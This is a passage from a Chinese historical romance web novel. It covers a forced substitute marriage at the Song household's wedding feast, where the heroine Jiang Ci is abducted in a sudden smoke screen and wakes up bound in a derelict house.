宁檀闭了闭眼,心中一片凄凉,她艰难向铜镜移去,却是心惊。
今日的许山吻的比以前所有时候都要狠,往日里大部分都是浅尝辄止,蜻蜓点水般碰碰。
宁檀那时正被蒙蔽,觉得自己很幸福,那般碰触心中也十分甜蜜,憧憬着未来。
可现在她所期待的一切都像一个天大的笑话一般。
铜镜里印着她的面容,脸颊红润,唇肿起上头破了皮,伴随着舌头也有丝丝密密的疼痛。
宁檀叹息一声,用口脂遮掩了唇,挽起被许山弄乱的发丝,心中悲凉。
“莲菲,走吧。”说着她起身推开门,穿过破旧窄廊下。
莲菲小心翼翼地跟在她身后,打量着她的神色,心中越发心疼。
-
宋府一片喜庆热闹之色,红灯笼高高挂起,却在阴云天显得诡异,婚宴上的人也神色各异。
林诺诺今日称病在家,纪沅倒是来了,见到姜瓷还是那副刻薄神色,但在打量过她身后时微微松动。
“你那妹妹没来?”纪沅眉尾稍稍扬起。
姜瓷今日一身淡绿长衫,外头罩着件墨色斗篷,与宫宴那日截然不同,似是又恢复了往日的素净,却叫人隐隐察觉贵气。
姜瓷微微颔首道:“今日小妹有事。”
纪沅顿了片刻未说话,又像把她从头到脚看了个遍,半晌,她忽然道:“还是上次那般穿着适合你。”
她说完便从姜瓷身旁走了过去,给姜瓷种落荒而逃的错觉。
纪沅走着清了清嗓子,她也不知道自己为什么会那般说,只是记忆中的阿姐很喜欢穿暗色衣裳,配上那张美艳的脸,说是国色天香也不为过。
可惜,这般好的阿姐也不知道现在如何了。
她的背影太过落寞,姜瓷没忍住怔了怔神,谢祈站她身旁提醒道:“小姐,进去了。”
姜瓷这才回过神来,微微点了点头朝里走去,走着她想起来什么,回眸看谢祈一眼,却抿起了唇并未言语。
昨日皇宫的事她未对任何人提起,包括姜棣她也是几句话潦草带过,不想让他担心。
她回到尚书府时家中无人,谢祈也不见踪影,她隐隐觉得不对劲,有种说不出来的怪异。
于是她在院中等着,等到月亮挂起,寒风袭卷,这才等到了他。
谢祈那时一身黑衣,从府中院墙翻越而下,似是没想到她会坐在那方,眼中闪过一抹错愕。
而他的手上泛着红,分明是鲜血,姜瓷问他去做什么了,他却答不上来。
她知道他有秘密,可这种被隐瞒的感觉确实不太好。
姜瓷落座后,曲桑宜姗姗来迟,在她身边坐了下来。
她没想到曲桑宜也会来,惊喜挑了下眉喊道:“母亲。”
曲桑宜喉间溢出一声“嗯”,却再未看她一眼,淡淡捏着手中瓷杯抿了起来。
她一身白衣,耳垂挂着个珍珠耳坠,如世外仙子一般。
曲桑宜视线扫到什么,忽然凝眸瞧纪沅一眼,又淡淡收回了视线,恢复了往日神情。
39.第 39 章
喧嚣声间,宋府红绸飘扬,赵氏笑脸盈盈地站在门口迎接所有人。
众人皆是不太习惯,赵佩素日里都是一副高高在上的模样,谁也看不起。
今日却像换了个人似得,因为儿子要娶妻了,便高兴成这般,着实吓人一跳。
待人进去后,赵佩抚了抚笑的僵硬的脸,忍不住翻了翻眼睛。
若不是今日那人要来,她才不会站在门口像个疯子一样谄媚地笑。
风声萧瑟,外头裹挟着冬日里的寒风,纵使穿得厚实风刮在脸上依旧有些刺痛。
宋府中人坐了个七七八八,基本都到齐了,赵佩却依旧含笑站在门口,里头夫人皆是有些疑惑,议论纷纷。
片刻后她僵硬的脸上忽然绽放出灿烂的笑意,高声道:“三皇子殿下。”
她口中那人此时刚踏下马车,居高临下地看着她,眸子中一片幽深,丝毫没有要搭理她的意思。
饶是赵佩这般能拉下脸的人,笑意还是僵在脸上,她从没体会被这样对待,素日里都是她给旁人甩脸色。
一时间她站在门口尴尬极了,感觉后背发烫,有千万目光都在盯着她,赵佩暗自咬起了牙,心中愤恨。
萧寂将她的眼神尽收眼底,嘴角勾起一抹玩味的笑:“宋夫人。”
闻言赵佩神色这才好转起来,方才一瞬尴尬一扫而去,热络地请他进去。
虽然面上笑着,可赵佩心中狠狠记恨了萧寂一次,他们现在可算是有着共同目标的人,凭什么他这般藐视她。
萧寂走路自带着压迫感,一身绸缎长袍,上头盘绕着龙纹刺绣,腰间宝石玉带,外头罩了件黑色披风。
分明是寒冬时节,他手上却拿着把檀木折扇,慢悠悠扇着,但也无人敢质疑他。
京中本就传闻此人阴晴不定,今日一见果然不假。
他的母妃兰贵妃是宋家人,宋冠成婚他自是要来的。
萧寂落座,周边人恭敬又谄媚地跟他搭话,他也只是随意笑笑。
三皇子的到来一下成为视线中心,姜瓷也看了过去,她仔仔细细打量着眼前这人。
突然,萧寂抬起眸子来,直直对上了姜瓷的目光,那眼神令姜瓷很不舒服。
她淡淡移开了视线,萧寂的眼神就像一条毒蛇,又锐利又瘆人,叫人发自心底的不喜欢。
三皇子来了,婚宴才开始,宋冠立于堂前,果然生得一副肥头大耳的模样。
宋祥极其宠爱这个儿子,将他养的又胖又好色,肥肉堆积在脸上要多猥琐有多猥琐。
他早已经等不及见他的新娘,催促着宋祥,宋祥居然还真的应下。
纪沅见着有些反胃,慌忙移开视线:“谁这般倒霉,要嫁与他。”
姜瓷并未接话,蓦地想起那日陆无浮所说,宁家小女替嫁。
所以此刻这红盖头下应是宁檀,她眸子微微眯起,上一世这人嫁去宋府中不出几日便投河自尽了,但究竟所为何事她却不知。
宋祥恨姜棣弹劾宋冠,许山作为姜棣的好友却不惜割爱,把宁檀送过去巴结。
这便有意思了,姜瓷心中隐隐升起一个想法,她要救宁檀。
宁檀在许府那般久多少知道些事情,可比起利用,对她来说更多的是同情。
这样一个女子,嫁去几日便投了河,到底是发生了什么事情,姜瓷想救她,更是对于同性之间的相惜。
她思虑片刻,将竹月唤了过来:“找两个人盯着宋府,有动静便知会我。”
竹月瞬间有种在干什么密事的错觉,心高高升起,谨慎答道:“是,小姐。”
“你为何不理我,去同她说话。”纪沅骄横道,看向她的目光中还多了几分不满。
闻言姜瓷微微一扬眉,从前纪沅可从来没跟她这般亲近过,林诺诺若是在说这话她还能理解,纪沅说出来倒是叫人一惊。
纪沅被她看着,似是也察觉到不对,轻哼一声转过头:“我没有非要你理我的意思。”
这话落在姜瓷耳中多了几分可爱,她没忍住笑了笑。
宁檀行至宋冠跟前,那人看着眼前人如此纤细的身段忍不住搓了搓手,满眼期待。
只听一声高喝:“一拜天地!”
两人面朝宾客齐齐弯腰下去,宋冠那副肥腻模样直接展示在大众面前。
他忍不住地斜眼去瞟旁边的宁檀,想要窥视盖头底下的容颜,虽只堪堪看到一张红唇,他还是不可自抑地舔了舔唇。
许山坐在前方当然看到这一切,手中茶杯被他陡然捏紧,指尖发白。
看着平日里睡在一张床上的人现在却跟别人拜堂,心中着实难受,他在心里安慰自己,只要宋冠发现人不对,肯定不堪羞辱怒意大发将宁檀送回来。
那时宁檀依旧能让他养在院子里,安分待着每日都守着他回府。
可是再对上宋冠那张猥琐的脸,许山心底便泛起丝丝怒意,这种人也配奢望他身边的人。
若不是他有意想搭上三皇子,绝不会同意这门亲事。
他手上动作被姜瓷尽收眼底,旁人看他样子只觉得是替妹妹惋惜,可落在姜瓷这知情人眼中却是另一番风味。
“二拜高堂!”
一声过后,两人转身,身后宾客皆是热闹的欢呼起来,不过都带了几分看笑话的意思。
姜瓷望着那抹孱弱的背影,自然是替宁檀感到惋惜,可收回目光之时,却蓦地又对上萧寂那双眼睛。
不等她看清,突然,眼前炸开烟雾,叫人身处一片雾白之中,看不清景象,萧寂那抹笑意也在烟雾中渐渐消失,叫她背脊发凉。
姜瓷神经陡然紧绷起来,耳边仿佛听见无数宾客的惊叫声。
谢祈守在宋府外,听到里面的呼声,他眉头蹙起,进去后却发现一片白茫茫什么也看不清。
顿时他的心像被揪起,按着姜瓷进去后的路线走着,路上却频频撞着人。
他顾不得其他,心中只期望姜瓷能喊出声来,好叫他确认位置。
姜瓷冷静下来,想去找曲桑宜的位置,口鼻却忽然掩上一张帕子,那人用力之大,恨不得将帕子溶进她的皮肤里。
她反应不及想尖叫出声,却被捂得严严实实,抬手去扣那人的手臂,却感觉浑身无力。
姜瓷只觉意识渐渐模糊,再也抵抗不住,浑身软绵绵倒了下去。
长风眼中闪过恨意,带着她飞身出了宋府,就近找了一个破旧屋子,把她扔了进去。
他不想轻易放过姜瓷,偏要让她也尝尝跟他一样的恐惧。
姜瓷在雾中被悄无声息地带走,
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宋府中人混杂一片,丝毫没有察觉。
只有曲桑宜眉头紧锁,她是习武之人,自然有些感知,身边的人消失了。
她向来沉着冷静,却在这刻罕见得觉得有些慌张,无奈不能确认位置,只能等待白雾散去。
不知过了多久,那雾终于渐渐消散,萧寂丝毫不慌张,含笑捏着玉杯,晃动起里面的茶。
宴席上人神色各异,谢祈面色紧绷着环视周围,却并未找到那个身影。
他对上萧寂那双含着笑意的眸子,瞬间明白了什么,他眉头紧锁沉默着大步离开了宋府。
随着雾气散去,府中惊呼声渐渐低下去,纪沅也察觉到姜瓷消失了,心陡然升起。
她环视周围急急寻找着,却什么也没看到,只看见许老太太面色扭曲盯着前方。
顺着她视线看去,许山正将那红盖头下的女子拥在怀里,神色紧张,一副小心呵护的样子。
纪沅不明白许老太太为何这般,兄长护着自家妹妹不是很合理吗。
宋冠是个没心没肺的,眼中除了美色装不下其他,他见许山拥着她,掐起抹笑:“许兄,快把新娘子松开吧,早点拜完堂……”
说着他又发出几声奸笑,听着猥琐极了,完全不顾许山阴沉的脸色。
宁檀怕被看出来,极小幅度地将他往外推,许山察觉到后却更加用力地把她摁在怀里,他只觉怀中人隐隐在发抖。
许山已是厌恶宋冠到了极点,可想起自己的仕途,强忍怒意将宁檀松开。
“许某怕小妹惊慌,这才护住,宋兄莫怪。”他额角青筋显露,这段话几乎是咬牙说出。
可宋冠才不管这么多,捡起地上的红绸缎便拉着要与宁檀拜堂。
赵佩极力安抚着宾客情绪,出了这等事她也是没想到,本就是阴云天,又莫名其妙出现一团烟雾,叫人心烦。
她恨自己没好好看看黄历,只想着按照三皇子说的快些把许二姑娘娶进门。
左右自己儿子高官家小姐看不上,还不如就娶个门当户对的,也能给三皇子卖个好。
曲桑宜立在那处,眉头微微蹙起,方才就察觉姜瓷被带走,可她不敢贸然追去。
现在雾散尽,她面色沉到极点,转身便大步离开了宋府。
破旧院中杂草丛生,灰瓦砖墙下一片阴暗,院中只一间屋子立在那处,也是同样破旧不堪。
木板钉在墙上补住空隙,屋内潮湿至极,不知哪里来的水滴一滴一滴落。
姜瓷被长风扔在那处水滴之下,冰凉的水珠砸在她白洁的额头上,染湿了发丝。
不知过了多久,她微微有了反应,感觉额上冰凉,想睁开眼睛却又有些使不上劲,只能让眼睫稍稍颤动。
待姜瓷挣扎着睁开眼睛,发现自己手脚皆被捆住,动弹不得。
她快速冷静下来,环视四周,却发现一人独坐在她斜前方,那人眼眸闭着,身上穿得破破烂烂,头发乱成一团潦草挽起。
姜瓷努力辨认了会才认出来,不由得心中一惊,这居然是长风。
她微微蹙眉,按理说他现在应被赌场的人扣下,或者被抓入牢中,他是怎么出来的。
寒风凛冽灌入房中,吹的那只剩半个的门吱呀作响,长风眼眸陡然睁开,撞上姜瓷探究的目光。